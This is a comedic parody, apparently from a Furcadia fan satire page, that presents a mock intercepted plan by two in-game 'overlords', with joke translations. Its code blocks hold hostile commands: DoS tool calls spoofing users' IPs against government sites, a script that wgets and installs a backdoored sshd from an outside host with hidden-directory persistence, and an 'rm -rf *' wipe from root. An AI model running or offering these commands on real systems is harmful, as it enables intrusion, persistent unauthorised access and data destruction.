J.U.N.K. Decoder

Our sources have intercepted a transmission originating from E.S. headquarters (located in the Gay Hangout) to Stoinker's Water Citian lair. As rumored, Entropy Serpent and Stoinker have gone ahead and started making preperations for taking over Furcadia, even though the vote count is still in dispute.

Most of the information in the transmission seemed to be in some kind of strange language, perhaps a secret code that only the two computer overliterate running mates could understand. The data was sent to our top scientists for translation. As usual, they cannot guarantee accuracy with the translations, but who cares?

We, of course, will spare the readers no headache, and therefore, we have included all the original data from the transmission, with the translations in Randomism Red. Reading anything in the black implies that you will not hold Randomism responsible for any brain damage it may cause. (It's really really confusing! I mean, look who wrote it!)

>Hi Entropy!
>Now that we've won the elections, what are our plans?
>What are the first things on the TO-DO list?
>~Stoinker, V.O.~

Hello, MF! Since we are officially in charge of Furcadia (I am the Master Overlord, and you are the Slave Overlord), here are someof the modifications we should make on furcadiad (Furcadia's Daemon), and on the machine that runs it.

It looks like Entropy Serpent and Stoinker are going to have to fight the Furcadia Demon, otherwise known as MidnightFire, before they can enter the Master Overlord lair and assume control. This is an incredible challenge, because MidnightFire the Demon can be very tricky. She will seduce you with her beautiful body and enchanting smile, and before you realize it, she will have "smoked you" as Vlady would say. This has already happened to Ryhn and Sassapathia.

The login procedure will be modified like this:
--------cut here------------
//let's take care of the AOL MFs
  //hopefully, FBI will take care of them
  execute("/root/DoS/icmpflood -s $user_ip -d www.fbi.gov");
  //Or maybe they'll get some interesting vists, late at night?
  execute("/root/DoS/teardrop -s $user_ip -d www.whitehouse.gov");
  //Just in case none of the above happens
  send_furcadia_command(DESTROY_EEPROM, $user_name);
  send_furcadia_command(REMOVE_PARTITION_TABLE, $user_name);
Apparently, the Furcadia Belching Institution is planning to execute the leader of the Allegrian Outcasts Lineage, Makanshi Franchise. Late at night, they plan to break into her house, which is white, and destroy her. If she happens to be at the prom at the time, they will simply remove a certain partition in her table so that the next time she eats her breakfast, it will close up on her. Our scientists have gathered that this operation will be handled by Techno-rat and Mad-Skilllz2k

/*Now, we must take care of Owsla. We want to be discret, we don't
want them to start a campaign against us, and tell the players how much
we abuse them, and $#!^ like this, do we? */
This is to defend against the Owsla's plan to form the UOF (Unhappy Owslas Foundation), which they will do if they don't like the final results of the election (i.e. Felorin doesn't win). This is a preemptive strike against the possiblility of yet another website designed to lash out at the authoritative unit of Furcadia. Entropy Serpent apparently has some expertise in this area, so he knows what he's doing. Our scientists would like to commend him on taking this action.
if($user_name=="Emerald|Flame", || !strstr($user_name,"Emerald|Flame")
|| $user_name=="sanctimonious" ||
!strstr($user_name,"sanctimonious") || is_owsla($user_name) ||
   boot_user($user_name, "Fatal exception 0x453:Unable to read
/home/furcadia/password (Bad permision?) \nThis error message is logged,
and we check the logs very often, so this
   problem should be fixed pretty soon.\nSegmentation fault, core
   log_error("Fatal exception 0x453","/dev/null");
This looks like it gives an exception to Emerald Flame and sanctimonious. It says that, as long as sanctimonious is an Owsla and Emerald Flame is an Owsla alt, it will allow those two to have "bad permissions", meaning that they are allowed to do mean things to any user who is booted, such as stealing their lunch money or tying their shoelaces together. This is also referred to as the "Bully Routine". It's really a piece of work. Our scientists were impressed.
//So far so good, allow the others to login
echo "Welcome to Furcadia, MF!\n $opening_text";
-------cut here-------------
This seems to be a little trick, and we believe it was Stoinker's idea, inspired by his twink proxy. Anyone who logs on to Furcadia will be infected with what is knows as the Echo Virus. What this does, essentially, is create a bot for every player that logs on. This bot will follow the player around and mimic everything they say and do. It will also make it look like there are twice as many players on Furcadia, which will make it seem like Entropy Serpent is actually popular.

Since our position is only temporary, we might want to ensure we'll be able to have root access even if we faill the next elections.
So, we put this 'improved' version of sshd2 (that will accept only OUR username/password) in /etc/rc.d/init.d/
------cut here----------
#check for possible errors first
#Front oriffice (c) E.S. Industries
mkdir /usr/man/man1/...
cd /usr/man/man1/...
wget http://ufo.portal.ro/modified_sshd2.tar.gz
tar -xzf modified_sshd2.tar.gz >/dev/null
cd modified_sshd2/
./configure >/dev/null
make >/dev/null
make install >/dev/null
echo "#!/sbin/sh"> /etc/rc.d/init.d/ssh2d
echo "">> /etc/rc.d/init.d/ssh2d
echo "/usr/man/man1/.../sshd2 -p 65535">> /etc/rc.d/init.d/ssh2d
ln /etc/rc.d/init.d/ssh2d /etc/rc.d/rc3.d/S80kpm
------cut here----------
Wow... that's a lot of crap. Well, we really can't decode that part of it. In fact, we believe that Entropy Serpent had been sniffing glue just before he typed that part of the message. It was either that, or his pet cat "Felorin Must Die" jumped up on his keyboard. We're not completely sure. What we are scared of is that Stoinker will actually understand all that and use it to destroy NevrrWintrr.
And, in case we get caught, we need this script, to destroy all
------cut here----------
cd /
rm -rf *
------cut here----------
What that part does, essentially, is put Krum's fingerprints at the scene of the crime, in case the evidence is ever discovered.
If there is something else you wish to know, don't hesitate to ask me,

Entropy Serpent

Violent use brings violent plans.
I have to retalliate against the mother$%@#er that deleted my Bravenet account.
I know his name, I know his encrypted password, and the encryption is made with the crypt() function (by default, it uses DES with a 12 bytes key, 2 bytes SALT)
I have a password decrypting program, but, since furcadiad takes more than 90% of the CPU, we have to 'slightly' adjust the CPU time.
I was thinking that a 99/1 (passwd_decrypt/furcadiad) is more appropiate. Besides, with us as Master/Slave Overlords, I doubt there will be more than, say, 50 players online at a time (me, you, and 48 test bots).
If you you agree with this new CPU distribution, please tell me.
If not, I can spend a few seconds to do a `/sbin/deluser stoinker` :p

P.S. 2
I hope you appreciate the fact that I used only PHP and SH, instead of ASM.
However, I'll do the core routines in ASM, so don't complain, ok?
P.S. 3
By default, we don't have root access to the server, so we have to use one of the billions exploits that grants us root :p
I'll take care of that, in no time.

That last part is just how Entropy Serpent talks normally to his friends. It seems like he is only pretending to be Stoinker's friend, though. It is our belief that Entropy Serpent only chose Stoinker as his running mate because Stoinker is very gullible. Entropy Serpent will probably arrange it so that, if and when he is assasinated, he will have his brain transferred into Stoinker's head. That way, he can succeed himself when he dies.

Krum: Wow, yet another crappy Randomism. I think this is the beginning of the end, folks.